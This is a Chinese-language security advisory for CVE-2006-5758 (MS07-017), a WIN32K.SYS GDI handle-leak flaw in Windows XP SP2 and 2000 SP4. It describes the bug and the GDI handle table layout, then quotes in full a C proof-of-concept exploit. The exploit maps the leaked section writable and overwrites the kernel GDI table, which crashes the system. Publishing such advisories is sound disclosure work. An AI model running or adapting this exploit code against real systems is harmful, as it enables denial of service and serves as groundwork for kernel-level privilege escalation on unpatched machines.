受影响系统:
Microsoft Windows XP SP2
Microsoft Windows 2000SP4
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 20940
CVE(CAN) ID: CVE-2006-5758
Microsoft Windows是微软发布的非常流行的操作系统。
Windows XP及更早版本的WIN32K.SYS中存在特权句柄泄露
漏洞,允许非特权用户以内核权限执行任意指令。
如果创建了新进程的话,WIN32K.SYS!GdiProcessCallout会通过ObOpenObjectByPointer以SECTION_ALL_ACCESS权限在新进程中为gpHmgrSharedHandleSection创建句柄。这个句柄用于将共享中的只读部分映射到进程的内存,但没有关闭,因此应用程序可以滥用句柄将这部分重新映射为可写,然后篡改WIN32K.SYS将会使用的数据。
gpHmgrSharedHandleSection是一个10h字节GDI对象句柄项表,格式如下:
+00h PTR GDI object data (kernel data) pointer
+04h WORD Process ID
+06h WORD some flags
+08h WORD high word of GDI handle
+0Ah BYTE type
01h = DC 0Ah = Font
02h = Surface? 0Ch = Font Chunk?
03h = 3D Surface? 0Eh = Color Transform Object
04h = Region 10h = Brush
05h = Bitmap 15h = Metafile?
06h = Client Object? 16h = EnumFontStyle?
07h = Path 1Ch = Driver Object
08h = Palette 1Eh = Spool Object
09h = Color Space
+0Bh BYTE more flags
+0Ch PTR user data pointer
恶意用户可以创建一个GDI对象,修改与句柄相关的内核数据指针,然后试图使用对象以使WIN32K.SYS操作恶意数据,导致执行任意指令。
<*来源:Cesar Cerrudo (cesarc56@yahoo.com)
链接:http://projects.info-pull.com/mokb/MOKB-06-11-2006.html
http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx?pf=true
http://www.us-cert.gov/cas/techalerts/TA07-093A.html
http://research.eeye.com/html/alerts/zeroday/20061106.html
*>
测试方法:
以下是引用片段: // Argeniss - Information Security - www.argeniss.com // // by: Cesar Cerrudo // // Windows GDI Kernel structure vulnerability // // Versions affected: Win2k sp0,sp1,sp2,sp3,sp4, WinXP sp0,sp1,sp2 // // // Note: if it doesn't work it's because the wrong section is mapped try changing hMapFile initial value // runnin this PoC will cause BSOD //
#include "windows.h" #include "stdio.h"
#pragma comment(lib, "user32")
typedef struct { DWORD pKernelInfo; WORD ProcessID; WORD _nCount; WORD nUpper; WORD nType; DWORD pUserInfo; } GDITableEntry;
typedef struct _SECTION_BASIC_INFORMATION { ULONG d000; ULONG SectionAttributes; LARGE_INTEGER SectionSize; } SECTION_BASIC_INFORMATION;
typedef DWORD (CALLBACK* NTQUERYSECTION)(HANDLE, DWORD, PVOID,DWORD,DWORD*); NTQUERYSECTION NtQuerySection;
int main(int argc, char* argv[]) { SECTION_BASIC_INFORMATION buff; HANDLE hMapFile; hMapFile=(HANDLE)0x10; LPVOID lpMapAddress=NULL; HWND hWin;
hWin=createWindow(NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
while(!lpMapAddress){ hMapFile=(void*)((int)hMapFile+1); lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0); }
if (lpMapAddress == NULL) { printf("Could not map section."); return 0; }
HMODULE hL; hL=LoadLibrary("Ntdll.dll"); NtQuerySection= (DWORD (WINAPI *)(HANDLE, DWORD, PVOID,DWORD,DWORD*))GetProcAddress(hL,"NtQuerySection");
if (NtQuerySection(hMapFile,0,&buff,sizeof(buff),0)){ printf("Could not get section size"); return 0; }
char * sMap; DWORD i; sMap=(char*)lpMapAddress; printf("Section size: 0x%x\n",buff.SectionSize.QuadPart); printf("Writing to section.\nPress Ctr+C to quit\n");
GDITableEntry *gdiTable;
gdiTable=(GDITableEntry *)lpMapAddress; for (i=0;i<buff.SectionSize.QuadPart ;i+=sizeof(GDITableEntry)){
gdiTable->_nCount =0x5858; gdiTable->nType =0x5858; gdiTable->nUpper =0x5858; gdiTable->ProcessID =0x5858; gdiTable->pKernelInfo =0x58585858; gdiTable->pUserInfo =0x58585858; gdiTable++; }
CloseHandle(hMapFile);
return 0; } | |